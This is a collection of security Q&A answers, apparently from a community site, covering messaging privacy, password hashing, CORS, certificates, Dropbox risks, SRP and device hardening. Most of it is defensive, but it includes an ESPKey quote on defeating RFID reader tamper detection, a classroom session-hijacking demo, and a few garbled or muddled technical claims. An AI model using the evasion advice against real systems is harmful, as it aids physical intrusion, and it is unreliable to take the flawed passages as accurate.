Not sure if you found any answer, but have had the same question RE security/privacy and came across this thread higher up on google. Was able to find some information but not much. Some of the below is inferred as mentioned.
To confirm/make clear - this is what found between wireshark/monitoring, on the web, googles help page below, etc. and not all of this is for-sure/confirmed, I tried to make clear which are speculation/assumptions and which are not, just keep in mind :)
Encryption
Note that at it's core Android Messages is built around RCS (granted also supports SMS), and unfortunately like SMS - RCS as stands today is NOT end-to-end encrypted which is very unfortunate especially considering Google's one of the main players in RCS's development, but that's a separate topic.
Linking & Browser Storage
From: https://support.google.com/messages/answer/7611075?hl=en

[...] Messages for web sends SMS messages using a connection from your computer to your phone, so carrier fees will apply, just like on the mobile app.
Note: The QR code for Messages for web is unique to your computer and pairs the mobile app to that computer. You can pair your Messages account on multiple devices, but only one will be active at a time. When you open Messages for web on a computer, your conversations on any other computers or browser tabs will become inactive.
Note: Your latest conversation threads, contacts, and other settings will be encrypted and cached on your browser. If you don’t use your Messages account for 14 days, you’ll automatically be signed out for security reasons.

To clarify the above only covers the storage of that data on your computer/browser.
Browser to Google / Google to Browser
Due to it's nature (within a browser/web HTTPS) the communication between your computer and google is at least encrypted using TLS 1.2 (dependent on browser/environment*) and communicating with what you would expect / play.google.com and ssl.gstatic.com etc. so that side is secure on transmission/receipt.
Google to Phone / Phone to Google (Unknown)
(Speculation) Would assume and expect/pretty confident that SSL/TLS is handling the connection but can not say for sure (someone can wireshark to confirm but very unlikely it's not SSL).
What's doing the sending
From what information IS available, all say yes the phone IS doing the actual sending/receiving You can turn off your phone, or go into Airplane mode/no data connection and Messages for Web will not work until it comes back on. While that doesn't prove it on it's own, all major publications have stated as fact from the initial announcement
From same page linked above:

On your phone, you need: [...] Wi-Fi or data connection

From the above information, it would make sense that as you mentioned it's just creating a link/sync between your Phone and the Browser client, with your phone doing all the processing which could include Smart Replies (speculation) - though also while logged into your Google Account / associated with it, if you have your typing data stored with Google for personalization etc then Google could be doing that on their end without hitting your phone, but that would seem like more of a hassle since need a two-way sync anyway.
Privacy
On the privacy side, really should check out the Privacy Policy as I haven't had a chance to. Unfortunately it appears it's just their overall Privacy Policy & Terms which is pretty all-encompassing, but that's often a good way to get details on what/why/sometimes how.
Overall
Unfortunately regarding your question how to confirm it's just going to phone and no where else, that is hard to get an answer for and really just comes down to trust in Google. Remember when sending from the web it's not going straight to your phone, it's passing to Google which then is passing it to your phone/vice versa.
You wouldn't THINK it's going anywhere else but never know, additionally keep in mind that by opting into Android Messages on the Web your SMS/RCS data is passing to/through Google where it may not have been before. I'm NOT sure on this, but I would be curious if with Android Messages on its own (no web link) google has/had any access to full/raw SMS/RCS messages/data (?) - knee jerk I wouldn't think so (though they usually do have your typing data and WHO you text/frequency - metadata etc).

If anyone else has any additional information on the details of how this is working would love to see as well!


DDoS -- null route everything not approved

The problem with some kind of DDoS attacks isn't what happens to traffic. The problem is the existence of the traffic itself on the link. At some point, your link will just be too full for your router to be able to handle the requests (dropping or null-routing). You see, it doesn't matter what the server/router/firewall is doing, the hose is just too congested.

You defend against this kind of DDoS either by having more links than your attackers can fill (using big service providers like CloudFlare or Akamai, they take the hit for you) or just take your connection/server down.


On what layer should password hashing and/or encryption take place

"Layers" are an appropriate way of thinking when your job is digging up old dinosaur bones. This is not so for information security.

It is tempting to think of "defence perimeters", "demilitarized zones" and "defence layers" because it evokes analogies with bunkers, artillery, heroic charges, and other colourful expressions of the inherent abilities of humans at exercising creative violence. However, all these metaphors rely on a conception of attackers as if they were commandos, stealthy and deadly but constrained by laws of physics, in particular the need to be at one single place at any one time. These laws don't apply directly to the abstract world maintained by computers, and there the analogy breaks down. Thinking in terms of layers thus runs the risk of completely misunderstanding the situation.

Moreover, there is no such thing as a single, comprehensive measure of "security": claiming that some part of a system is "more secure" than another means that you implicitly put figures over the concept of security for both systems, along a linear scale which further more happens to be the same for both systems. Such claims are common but verge on the preposterous.

What you must think about is threats and vulnerabilities. In your case, an external client connects to your "network", and authentication must take place by presenting a password. Somewhere in this system, the password must be verified against some stored value. It is unavoidable that such a stored value allows for offline dictionary attacks (meaning: if the attacker finds the hash of the password, then he can "try passwords at home", as fast as his own computers allow for it). It so happens that the connection from client C first goes through a "Web server" W (which is reachable from the Internet) and then to an inner server S where the sensitive data/service actually resides. The questions are then:

When the password is entered by the user, should it travel to S, or stop at W ?
When hashing occurs, should it be done on W or on S ?
The password verification token (the hashed password) should be stored on W or on S ?
What are the communication mechanisms which should be employed between C and W, and between W and S ?

The ultimate goal of the attacker is to gain access to the services for which authentication is requested. If he gets the password itself, he wins. If he obtains the hashed password, then he wins or semi-wins, depending on the system details ("semi-win" meaning that the attacker does not obtain immediate access, but can run an offline dictionary attack, which usually succeeds after some efforts because average human users are bad at choosing strong passwords).

The attacker may spy on the line between C and W. To avoid that, use SSL. In fact, W being a Web server, it may be surmised that C runs a Web browser, which implies that the user password necessarily travels "as is" to W, under the protection of HTTPS. However, W then gets the cleartext password. Correspondingly, if the attacker can hijack W completely, then he wins. From this point of view, overall security cannot be "higher" (if you want to think in such terms) than the security of W. Therefore, in a layer-based analysis, if the Web server W is not in the "most secure layer" then you are doing it wrong. This alone shows the shortcomings of the way your colleague thinks about security.

Let's assume that the attacker cannot hijack W. Then you have the choice between three main systems:

The password is hashed on W. W stores the hashed passwords, and performs the verification. No password hashed or not hashed reaches S.
The password is hashed on W. The hashed password is sent to S. S stores the hashed passwords.
The password is sent "as is" to S. W stores nothing. S does the hashing, and stores the hashed passwords.

In the three cases, you need some protection for the connections between W and S. Indeed, this whole question is moot if the attacker is not assumed to be able to enter the local network in some way. So we assume that the attacker has access to a third machine on the local network, from which he can spy and try to do extra connections.

In the first case, S trusts W, so S must make sure that it talks to the "true W", and the communications must be free from hostile hijack by the attacker.
In the second case, the password hash sent by W is "password equivalent", in that showing it to S grants access. It is thus a very valuable target, that the attacker will want to see.
In the third case, the unhashed password goes from W to S, and the attacker would be very interested in seeing it.

Therefore, SSL between W and S.

Each of the three systems has pros and cons:

If W does the storage then W contains the hashed passwords, which may be recovered en masse from a partial read-only breach on W, as regularly happens with Web servers (SQL injection attacks...).
If the hashing is done on W but the storage on S, then the salt value for the hashing must be first retrieved from S and sent to W, increasing protocol complexity and latency.
If the hashing is done on S then S pays for the bulk of the hashing cost. We want the hashing to be expensive (see this answer); if S is busy (because it operates the actual service), then this limits the number of iterations that can be applied to hashing, consequently lowering security (the hashed passwords will be less robust against offline dictionary attacks, and the server S, being more loaded, will be weaker against DoS attacks).

Which choice is "the right one" depends on operational details of your specific situation: amount of free CPU, inner network performance, backup procedures, estimated average and peak loads... Moreover, the actual security differences rely on predictions of "how much" the Web server and the inner network are breached into; this is not a solid foundation for reasoning, and it would be bold to claim that the resultant risk analysis is more accurate than what scapulomancy may offer.

Trying to apply the "layers mindset" here looks like a knee-jerk dogmatic reaction.


TLDR: Nope, and if you think you need that, you're probably doing something wrong.

There is literally no possible way to prevent non-browser access to anything that is also exposed to browsers. As far as a server is concerned, a web browser is just a program that sends and receives HTTP (and related protocols) traffic. That's it. You can do that using curl, you can do that using any of the many sorts of WebRequest object available to different programming frameworks, you can do that by opening a simple TCP socket to the server and manually typing out the bytes to send (see the nc/ncat/netcat program). Any information that a browser normally provides - cookies, the User-Agent header, browser-specific HTTPS and URL quirks, HTTP Authorization, TLS client certificates, JavaScript parsing, etc. - can all be spoofed by some other program. That absolutely includes all the CORS headers and behaviors.

What you can do is require authentication. If the consumer of your web service is authenticated, who cares whether they are using a normal web browser, a screen reader for blind people, a mobile application, PHP web server, a telnet program on a Commodore 64, or tapping out the bits individually very quickly by semaphore?

In theory, cross-origin auth isn't that hard. You have to either send the Access-Control-Allow-Credentials: true CORS response header (which permits HTTP Authorization headers and cookies) or the Access-Control-Allow-Headers: <HEADERNAME> CORS response header (with a custom auth header). In either case, you also need to provide some way for a client to gain a valid authentication token (which could be via a web app, or a web service, or some other means; it could even be another CORS-enabled web service). Of course, you similarly have no way of preventing scripted access to the auth service, so anybody/anything with credentials can get a valid token and then use it.

What is your use case, here? Why are you trying to block scripted access? Why do you even expect this would work? I mean web browsers can run scripts, so there's nothing at all preventing a web browser from loading a page that contains JavaScript to access your web service, retrieve the results, and send them to a desktop or server application.

EDIT:

  Ultimately is a REST API that enables CORS intrinsically insecure

Either you don't understand what "secure" means, or you don't understand what web servers do. Web servers parse incoming HTTP requests (HTTP being a text-based protocol typically sent on TCP port 80, or wrapped inside a SSL/TLS stream sent to TCP port 443) and, based on the contents of the HTTP request, send back an HTTP response. Web servers are "inherently insecure" in the sense that, if you expose sensitive information on one, anybody who can connect to it over the network and can send the right string of bytes can get back that data. Of course, that's how approximately every network server for every protocol in the world operates, so...

As a side note, this isn't a CORS problem. If you don't allow CORS at all, it will make absolutely no difference to the type of "attacker" you're envisioning. CORS is a way to open a hole in a critical part of the browser security model (called "same-origin policy"), but it is utterly irrelevant to things that are not browsers.


X509 is a set of standards for a whole bunch of Public Key Infrastructure stuff. Usually, when people refer to X509, they mean certificates since X509 is the widely accepted format for certificates.

So, I will interpret your question as:

  what is the role of certificates during signature generation and verification?

Short Answer:

There's no technology reason why you need a certificate. You sign something with your private key, someone else verifies it with your public key, done. The problem that certificates solve is getting your public key to the recipient without an attacker being able to put in their own public key instead.

Longer Answer:

Let's say you have a private key and the corresponding public key. You sign a message with the private key. You want somebody else to be able to verify your signature. Well they need your public key in order to do that. The question is: how do you get your public key to them without it getting intercepted and replaced by an attacker's public key? This is known as the key distribution problem. If you have a way to do that, like a GPG Public Key Server, or an internal corporate network share then you don't need certificates at all.

But if you need to send your public key over an insecure method, like email, then having a Certificate Authority make a certificate for your public key ensures that no attacker can do a man-in-the-middle and replace your public key with their own.


Skype is doing funny things when I type or click, does this necessarily mean malware may be in my computer?

It seems strange that odd behavior only occurs when using Skype. If there was a RAT (remote administration Trojan), which can include key logging functions, your computer would be compromised across the board.

The loading/processing cursor icon might not be signalling malware at all, its strange that you would suddenly think this is a sign of a virus. If you have scanned with multiple AV engines, its unlikely there is malware affecting your computer.

You could try inspecting Skype, looking at Windows processes for any outbound connections, among other steps but it doesn't really seem necessary.

Spam is common on Skype, if you are worried you could change your Skype password. Also try completely uninstalling Skype and reinstalling (make sure it is from a trusted source). Also, handing out your Skype name does not open your computer to malware, although it could provoke spam.

If you experience any other strange behavior, then considering further action/inspection.


Security issues with allowing Dropbox installations on client PC's in our organisation

Does anyone know if there is any good reasons not to allow Dropbox installations on our client PC's?

This depends on a number of factors such as your willingness to accept risks, classification (sensitivity) of data you store/process or otherwise manage and for example the potential for increased user productivity.

There have been a number of confidentiality related issues regarding Dropbox such as this, and this and the fact that data is encrypted server-side. There are arguments both for and against the use of Dropbox but it always comes down to your willingness to accept risk and hence compromise on security for the increased convenience.

  Can potential virus on the dropbox spread easier once the file is in the cloud as it potentially could be synchronized to our client, and then automatically spread?

Yes, absolutely. Earlier versions of MS Office documents had macros enabled by default and many worms targeted those for spreading (later versions have however significantly improved in this area!).

But a worm/trojan could be specifically written to take advantage of Dropbox file sharing. When executed (for whatever reason) it could scan the computer and look for the Dropbox folder, replace files, rename or by any other means put itself in a place where the user is likely to execute it. It's clearly an excellent way of spreading malware to and from computers and networks.

  Is there any security mechanisms to prevent this kind of spreading?

Depends on what you mean with spreading, but I'm assuming you're talking about the execution of a windows binary from one of your company managed computers. Then yes, there are several ways of doing that. Using Windows 7 applocker you could simply restrict what applications are allowed to execute, or use an application to monitor for "new" executable files and remove them/quarantine or whatever action you deem desirable.

Additionally our good old friend AV will catch whatever old malware lands in the Dropbox folder, assuming reasonable coverage by the product. Know that there are statistics that seem to indicate that the most popular AV-products are the worst, but that even the best ones aren't great either. (Nothing new there really!)

One of the more obvious difficulties with allowing Dropbox is to make clear the separation between company assets and private assets. It's inevitable that users will also use Dropbox on their private computers, hence storing company data on private computers over which you have no control.

However, this again all depends on your willingness to accept risk. The threats are clearly identified and it would be a fairly easy exercise to calculate associated risk for each threat and provide you with a list of quantified risks. There are also technical safeguards you can implement to reduce the likelihood of some risks related to what you were specifically concerned about.

I would argue however that spreading of malware shouldn't be your top priority, instead you should focus on how to keep a clear separation between private and company owned data assets. This is the real headache in using any type of file synchronization product or service between corporate and home computers. There are products that would also address concerns regarding information disclosure but I digress.

Perhaps you are willing to accept these risks in order to avoid the cost of implementing required safeguards?


Should I be worried by an email which said my account was under attack?

No, this is nothing to worry about. They send out these types of emails to hundreds of people at a time, hoping that someone will take the bait and send them bitcoin. They don't actually have any information about you. If it's your current password, then reset it on sites that it's been used on. If it's just an old password, make sure it's not used anywhere else.

Reporting to Google wouldn't be a bad idea as they will start to flag emails like this one as spam to future recipients. Spoofing your from address isn't too hard unfortunately and some email providers don't add protections.

All in all, just make sure that password isn't used anywhere anymore and move on.


Think about it from the point of view of a law enforcement agency. They want to show that you, a suspect, might have accessed an illegal site, but all they know is that someone coming from a Tor node at a given time did it.

If no-one using that Tor node accessed any sites which require login, all they can say is that "someone" did it. If on the other hand, they ask various social media networks for data of people who logged in from a given Tor node at a specific time, they can link the use of that node to specific people. Now, they can't be sure that any of these users are the same as the one who visited the illegal site, but you can be pretty certain that those people are going to be much higher up their lists than anyone who isn't known to have been using the node at that time.


Freelance web app tester law on breach after scan

Pentest reports should never give assurance. You can't state that a webapplication is secure, you can only state you didn't find anything or that you did find things. It's important you do not make yourself liable and that your contracts are waterproof as to ensure you do not imply that you guarantee the security of the application.


Storing data encryption key in the DB. Safe or not?

The rule of thumb is that you want to keep the encrypted data and the encryption key "as far apart" as possible, meaning that you want to minimize the probability that, given that the data is leaked, the key is also leaked.

This great answer has a ranking from one (best) to seven (worst) on where to store the encryption key. And, you guessed it, number seven is "in the database":

  7. Store the key in the database. Now you're not even trying. Still, a depressingly popular option.

So you might want to consider the other alternatives listed there. That said, storing it hard coded in a function is better than just storing it in a table if the following conditions are true:

The database server is not directly accessible from the internet.
The web user of the database (i.e. the user that the app logs in as) does not have permission to read the source code of the functions (so the web user could not read the encryption key).
Back ups of the database does not include the source code of the function.

Moving the encryption to the app layer does not necesarrily make things much better if the encryption key is just hard coded into the app source code instead of the DB source code.


It is not possible to verify with certainty that an image is clean, short of manually analyzing it to see if it conforms perfectly to the standards, and that your image viewer likewise conforms to the standards. Instead, you can encode the image between a simple format. Converting an image to a trivial format carries with it the risk of exploitation, but converting from a trivial format to a more complex format does not. You can exploit this reduced attack surface area, for example:

Load the suspect image into a sandboxed image converter. The image converter must not have any filesystem access, X11 access, or access to unnecessary syscalls. The sandboxed image converter must be untrusted as it will be using potentially vulnerable libraries.
Have the sandboxed image converter re-encode the image into a trivial pixelmap format, such as PPM. The format must be simple enough that it would be infeasible to exploit. The assumption is that this conversion process may compromise the converter, so all subsequent steps must not need to trust this stage. A pixmap is trivial enough for these purposes.
A second, unsandboxed image converter then takes hold of the pixmap, e.g. through shared memory. This image converter is trusted, as its only input will be a format so trivial that exploitation is infeasible. The pixmap can then be converted into a more proper image format, assuming of course you do not want the output to be a large, uncompressed, raw image.

So why not just have a single sandboxed process convert the image? If you assume that the image parsing library for the input is vulnerable, then even a sandboxed process can no longer be trusted. If you ask it to convert a JPEG to a PNG and the JPEG is malicious, it could embed a different exploit into the PNG output. This is not going to be likely, but it is possible, making this a no-go.

If this is overkill, then there are still some other, simpler ways to decrease the likelihood of falling victim to an image parsing exploit. A non-exhaustive list of recommendations is:

Keep all your software up to date, especially image libraries.
Verify that the image format matches the extension, e.g. by checking the MIME type.
Do not accept images from untrusted sources if possible.
Use only common image formats such as JPEG, PNG, and GIF.


Defending against Wiegand sniffing (ESPKey) attacks in RFID card readers

After doing some more research, as far as I could tell, this is how it works:
The tamper sensor is either a light sensor or a physical switch. If an attacker dismounts the reader from the wall, the sensor gets tripped and an alarm signal is sent down the wire to the controller. I have not researched what exactly the controller does with that alarm signal.
It seems like this sensor is not always installed by default. Example from HID manual:

All readers utilizing a physical tamper switch have tamper enabled automatically. By default, readers utilizing an optical switch do not come with tamper enabled.

The ESPkey manual states that the installation of such tamper sensors is "rare":

While rare, most modern readers have hardware support for a “tamper detection” feature of some kind. If such sensor is wired to the control panel for monitoring, it must be mitigated during ESPKey deployment to prevent detection of the field operator.


Added security risks that come with 3-tier software architecture

My gut feeling is that the MVC model, or, for that matter, any cleanly defined model, tends to decrease security risks. Although things are not that clear.

From a very general point of view, security issues are a special kind of bug, on the implementation or on the structure (possibly the specification). Knowledge dilution is a huge risk factor: bugs happen more often when there are more people involved in the project. To keep the whole thing secure, there must be someone, at some point, with a transverse view of the project, who can think architecturally and grasp the interactions between all the modules; this becomes harder when the project size grows. To say things in plain words, for a secure Linux kernel, you need a Linus Torvalds: one head who receives all the information.

Any clean model which defines the roles and tasks of sub-modules in a clear way, such as the MVC architecture, will help that one-thinking-head a lot. It makes it possible to maintain the necessary project-wide security thinking framework, when the project becomes huge. On the other hand, the MVC model encourages throwing more developers at a project, which mechanically increases security risks, so MVC is a mixed blessing.

As a basic rule, the smaller the project, the more secure it can get. The Lone Wolf Developer model will get you more secure applications, and probably will deliver them faster, but with less features.


Is C a good choice for security-related software any longer?

The main and almost unique reason why most software in the Linux ecosystem is written in C is Tradition. Developers see software written in C, libraries with a C-based API, and thus they use C, because that's convenient. Compilers are already there, and work well because the whole OS is written in C.

None of this says that C is good for developing robust software. In fact, C is quite terrible at it. With C, the developer must remain wary of many things at all times. C has many traps ready to be sprung on the smallest mistakes, including:

Unchecked array accesses, thus allowing for overflows.
Manual memory management, leading to use-after-free or double-free errors, and memory leaks.
The dreaded "undefined behaviour" that makes seemingly reasonable expressions run amok (in particular, signed operations that exceed the representable range).
Portability issues when going to architectures with different lengths for integer types and pointers.

What C is real good at is the following:

Interacting with an existing set of libraries that offer a C API. C is the lingua franca that allows interoperability between software components on many platforms.

What C is passably good at is:

Writing very low-level code (e.g. crypto code resistant to timing attacks through fixed memory access patterns) while trying to keep some level of portability.

My conclusion is that C is not a good idea for writing security-related software in general, and has not been so for quite some time already (at least a decade). C is still justified in some specific contexts, in particular if you target embedded platforms (not embedded as in "smartphone", rather embedded as in "smart card"). Instead of looking for reasons to move away from C, it would be more justified to look for specific reasons to keep using C.


Is it possible to upgrade the SSL version of a connection from the server's side only?

Something is amiss on the client side it sounds like.

The client should initiate the session indicating the highest protocol version it can accept.

TLS v1 is enumerated as "3.1" to indicate > SSL3:

  Since the Version numbers negotiated in the
  ClientHello and ServerHello messages of SSL are 3.0 and below, version numbers to
  be negotiated with TLS and future r
  evisions will continue by negotiating as version 3.1
  or higher. This will be done to denote a revision of SSL 3.0, but to promote backwards
  compatibility between clients and servers using either SSL or TLS.

Source

Further clarification:

The client MUST declare the highest version it can support, and the server will either accept, offer a lower supported version, or declare PROTOCOL_VERSION and close. From ietf.org:

  A TLS server can also receive a ClientHello containing
  version number smaller than the highest supported
  version. If the server wishes to negotiate with old clients,
  it will proceed as appropriate for the highest version
  supported by the server that is not greater than
  ClientHello.client_version. For example, if the server
  supports TLS 1.0, 1.1, and 1.2, and client_version is TLS
  1.0, the server will proceed with a TLS 1.0 ServerHello. If
  server supports (or is willing to use) only versions greater
  than client_version, it MUST send a "protocol_version" alert
  message and close the connection.


When implementing an OAuth provider, what is the right granularity for a "scope"?

You may want to alternatively consider something like a Web Powerbox instead, possibly combined with a Rumpelstiltskin tree-graph setup. OAuth basicaly has the wrong authority asking/granting paradigm to do useful multi-granular work with. With a powerbox solution, the app asks the powerbox to ask the user to select an entity that the powerbox than grants to the user. All the app thus needs is a scope for the powerbox, for example allowing the app to only ask the powerbox to ask the user to select a read-only facet of file of a specific type from the directory tree. With a Rumpelstiltskin treegraph, you can construct a directory tree with an authenticating name (password-capability) for each node without the need for relational data management (sql and stuff). Combining the two, one user of an app could delegate access to other users of the same or a related app.


VLANs allow the logical division of a physical device into multiple logical devices.  If you are not connected to both VLANs in some fashion, then adding routes locally doesn't change anything since your routes would still need to point at another router or gateway device.  On most VLANs, the only router/gateway device is already the configured as the default route/gateway on your system.

It is the router/gateway that makes decisions on what to route between VLANs/subnets.  At this point, access can be controlled on what resources and types of traffic are allowed in and/or out of the VLAN.

VLANs can help to improve security in a number of ways, but they are not security all by themselves.  There are also exploits that can allow VLAN hopping if your network is not configured correctly.

Here are a couple non-exhaustive ways that VLANs can be used to improve security:

They limit the scope of where broadcast traffic or flooded unicast traffic is transmitted. If Host A is not on the same VLAN as Host B, it will not see any information that Host B may broadcast.
You can create VLANs with no gateway at all, which limits a device to access only other devices in that VLAN.  It also prevents access to those devices from outside the VLAN.


Checking the certificate sent back by the CA

Upon certificate retrieval, client executes certificate chaining engine (at least, Microsoft CryptoAPI does) and validates the certificate. This includes full certification path, trust and signature validation. Since, the certificate is signed by CA, certificate tampering will be detected immediately.


Teaching Introduction to Information Security as a mandatory course

I've been involved with this type of situation for the past several years. Here's what I teach and focus on.

For each topic. Lecture and technical details must be accompanied by either some kind of demo or some kind of hands on exercise. If the demo isn't flashy then it should be an exercise. This stuff is dense. I start every year with 30+ students in the club and end the year with much less. It can hard hard to keep interest. There's no reason for this to be boring when it is such an exciting topic.

Topics

CIA Triad. Basic concepts such as Authentication, Authorization, tokens, non-repudiation, privacy, security, vocabulary. Talk about the type of problem security is. Is it a technical problem...or a people problem? See what students think.
Thinking like a hacker. Ask them about vulnerabilities in the lunchline they go to or encounter in the bus systems or every day. Ask them to redesign their dining hall so students are unable to get cheaper lunches or whatever they come up with. It's honestly always really fun and gets them really interested in the things to come.
Physical Security. You don't have to spend a long time on this one in my opinion. Just make sure they know that if you have access to a computer, it is pretty much your computer.
Exposure to cryptography. This is a tough one to teach without diving in deep but you should show that basic building block technologies build secure protocols and understand the problems crypto doesn't solve. Usually I talk about the difference between public and private keys, I talk about establishing a shared key, and honestly just expose them to it. It really requires its own course but you can still talk about it.
Securing a computer. Passwords, Services, figure out what's running. What users exist, etc. Logging and Event viewing. I also talk about the tradeoffs with some security decisions you make. Log too much, you'll never look at them. Make the lockout policy too strict, you end up with a lot of angry users.
Malware. Talk about different types, show differences and real examples. Show them basic characteristics of malware and do super basic things to see what the malware is doing in a analysis environment. Capture network traffic it creates, ports it opens, things it install. Talk about the motivations of the attacker. This is also a good time to talk about the laws of your country (and the laws of your network admins) regarding hacking.
Web Security. XSS with real phishing emails, CSRF with real vulnerabilities, stored XSS with a real attack. This kind of stuff is EASY to demo to a roomful of students. It's really easy to whip up a toy web-app and show something. This year I wrote a vulnerable toy twitter and had the students use it. Next I tricked them into going to a different site I owned and I tweeted using their session. They were so amazed it was hilarious.
Basic steps a hacker MIGHT go through. Looking for targets, scanning for vulnerabilities, attacking the vulnerabilities, maintaining access. This is, surprisingly a difficult section to keep interest up on. Students are really amazed but lose attention quickly when they are sitting there with a meterpreter shell thinking "This is less exciting than I thought"
Buffer overflows and exploits. Toy C programs that behave badly and Metasploit are great for this

Have fun with it. It is such a huge amount of material that whatever you choose to do, as long as it is hands on, will be a lot of fun.


Is it possible for a single user to route connections through several IP addresses?

(For clarity, I'll refer to the "banned user" and the "other user" in my response.)

The banned user could ask anyone, including the other user, to install software such as a proxy or a VPN that would allow him to route traffic through those computers.  Such software could be installed on routers, computers, or cell phones, so all of the sources you describe are certainly possible.  While I can't say for sure, it's possible that the doctor's office was visited by the other user and his phone connected to their wifi, resulting in the traffic appearing to come from that source.

IP address bans are quite fragile in this way.  There are many ways for someone who knows a little bit about technology to make their traffic appear to come from any number of sources -- public proxies, VPN services, TOR relays, private proxies, compromised servers, public WiFi, among others.  Beyond that, most ISPs in the US use a system (DHCP) that assigns IP addresses for only a period of time, after which the IPs may be rotated.  So not only might your banned user end up with a different IP address at their home, but the IP you have banned might end up being assigned to someone else who will wonder why they have been banned from your forum.


What's so important about passwords? There's no way around it. Users reuse passwords. Accept it. As a responsible service provider you must understand that and handle your customer passwords with care.

Why not store passwords in plaintext? Because passwords are used for authentication, and password-based authentication doesn't need the plaintext password. Passwords are sensitive information and needs to be kept secret.

Why not store passwords in a non-plaintext reversible format? If an attacker compromises your system, he will have access to your password storage logic and he will reverse the password mangling you're using. This renders the passwords plaintext.

Why not encrypt passwords with a symmetric key? Because the login logic of your application needs to have access to that key, which creates key management issues. In case of a breach, it's very likely that the attacker will have access to the key. This renders the passwords reversible.

Why not use MD5/SHA1? Because they're super fast. Super fast for you means super fast for the attacker to crack.

So, now what? Securely hash your passwords using a strong, non-reversible, and slow scheme like bcrypt. There's no alternative for this. Period.

Adobe went with the symmetric encryption option, not only that, they implemented it incorrectly by using ECB. So they took something bad, and made it even worse.


How do I prove for my client that unused ports are closed and unused services are disabled?

Do a full scan of the target machine's IP address with Nmap from LAN or Internet:

nmap -p- 12.34.56.78

If you've closed all the unused ports, then you'll see that in the scan result.

Edit: It would look like this:

Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-29 11:26 CET
Nmap scan report for abc.com (12.34.56.78)
Host is up (0.030s latency).
Not shown: 65531 filtered ports
PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
443/tcp   open  https
21235/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 277.06 seconds


Does a completely random string produce a completely random hash

Hashing never outputs random string.

A hash algorithm is an algorithm which manipulates the input data in very strictly defined steps and outputs the result.

You can't know how the output will looks like before calculating the hash, so according to your question: if you input a random data, the output will look like random (but only to you, and not to the original data).

As much the length of input matches length of hash output, both methods are safe enough.


Does Samsung's "Security Enhancements for Android" offer anything for consumers?

Ostensibly, the update in question should be a positive thing. This is a security tool, and Samsung is asking for automatic updates to be turned on so the tool can stay up to date and take steps to keep its protections current. However...

The update itself
"may add new security policies and delete any existing policies"

"may detect and delete downloaded software which contains malware"

"the following User Information is necessary and will be collected"

"collected information is only used internally by Samsung pursuant to our privacy policy. Unless stated otherwise herein, your data will be collected, processed and used in accordance with Samsung's Privacy Policy"

from the privacy policy:

"We may share your information with:
• Affiliates - the Samsung family of companies.
• Business partners - trusted companies that may provide information about products and services you might like.
• Service providers - companies that provide services for or on behalf of Samsung.
• Law enforcement - when we are required to do so or to protect Samsung and its users."

Basically, you're agreeing that they can do anything at any time to your device, including deleting things, installing software, changing policies, etc... and can share your collected information with basically anyone that they care to. Relatively par for the course for a mobile device these days, really.

The Security Enhancements for Android

This is part of Samsung KNOX - http://www.samsung.com/us/business/security/knox/

KNOX is several layers of security tooling, including:

• trusted hardware (unique device key, secure boot key, hardware fuses for rollback prevention)

• secure boot and trusted boot (multiple layers to prevent unauthorized bootloaders)

• anti-tamper e-fuse (blows the fuse if the device is suspected of tampering, even if restored to the original state)

• security enhancements for android (a set of security policies that restricts application access)

• trustzone-based integrity measurement architecture (TIMA) (tries to maintain security even if the kernel is compromised)

• realtime kernel protection (leverages TIMA to prevent attacks against the kernel)

• remote attestation (enables an MDM to verify device integrity)

• several application security bits

Quite a bit more detailed info can be found in the whitepaper here:

https://kp-cdn.samsungknox.com/5ef8fc5a58971c019a4b0fe6607b4585.pdf

I find the hardware and software fuses particularly interesting.

Ultimately, KNOX represents many layers of security to keep the device from being compromised. If you want a walled garden device (the route Apple went), this takes many steps in that direction. If you want an Android device that you can tinker with, this is likely a bad thing for you. Also, there have a been a number of serious issues with the implementation of KNOX over the last couple years:

https://forum.xda-developers.com/showpost.php?p=52329946&postcount=76
http://www.zdnet.com/article/google-project-zero-how-we-cracked-samsungs-dod-and-nsa-certified-knox/
http://seclists.org/bugtraq/2016/Jan/79
http://seclists.org/bugtraq/2016/Jan/80
http://seclists.org/bugtraq/2016/Apr/95

Yes, you'll likely not see the benefits of these security measures to as great an extent if you don't install software from unknown sources, but this is not the only way that nasty things may make their way onto your device. KNOX is a set of security tools that comes with many of the issues common to such hardware and software components, i.e, YMMV.


Can Cross site scripting lead to database access?

XSS doesn't compromise the server, it compromises the client.

Basically, if your site is vulnerable to an XSS attack, then you're serving dodgy code to your users.  The attack has control over your users' actions, so has access to anything your users do.

So if your users do not normally have complete access to your DB, then an XSS won't give an attacker that access.

However, do bear in mind that "users" includes "admins", so the attacker has the power of an admin if one logs in while the exploit is active.


Using Secure Remote Password without sending the username in the clear

Diffie-Hellman would not help here: an active attacker could use a classical MITM and see whatever data is supposed to be protected by the DH key. He would only see the SRP exchange "from the outside" but would still learn the username.

The non-anonymity of the connecting user is a rather fundamental property of Password-Authenticated Key Exchange algorithms. Such protocols resist offline dictionary attacks because both parties make password-specific commitments in the early stages of the protocol.

In SRP, the server is supposed to choose a random b, and send B = v + gb to the client. A fake server does not know v but would like to learn it, because knowing v allows for an offline dictionary attack (namely, "trying" passwords until one matches, on the attacker's own computer, without interacting anymore with the user or the real server). However, due to the difficulty of the discrete logarithm, an attacker cannot know both v and b which match a given B, unless he chose v and b and computed B from those values. The attacker cannot look back at his past message and think things like: "well, let's assume that instead of the v I used, I should have used v' because that's what the client might have understood"; if he does, then he loses knowledge of b, and without knowledge of b he is "outside" of the subsequent Diffie-Hellman exchange (SRP is still, at its core, a Diffie-Hellman with bells on). In that way, B is a commitment: the server commits to a given password-dependent value v when it sends B, because it will not be able to get any useful information from the rest of the protocol unless he keeps on using that exact value of v. This is were the PAKE magic occurs: this commitment makes sure that an attacker must interact with either the user or the real server or both for every password that he is guessing. This severely lowers efficiency of dictionary attacks, and that's the point of PAKE protocols.

Since the server must commit to a given password-dependent value at the beginning of the protocol (before the authentication has actually occurred), the server must know which password we are talking about, hence a user identifier sent "in the clear".

To preserve user anonymity with regards to eavesdroppers, the server must first be authenticated by the client in a user-independent way, which is what you get from a basic TLS tunnel with server certificates, but if you use SRP, isn't it precisely to avoid using certificates ? Also, in an Internet-related setup, the eavesdropper will still learn the user IP address, which is almost as good as a name in many cases.


Do I need to use GPG subkeys for my backups?

The primary key is not able to decrypt information encrypted for a subkey. If you encrypted your backup for a subkey and lose access to the private subkey, you cannot decrypt your backup any more.

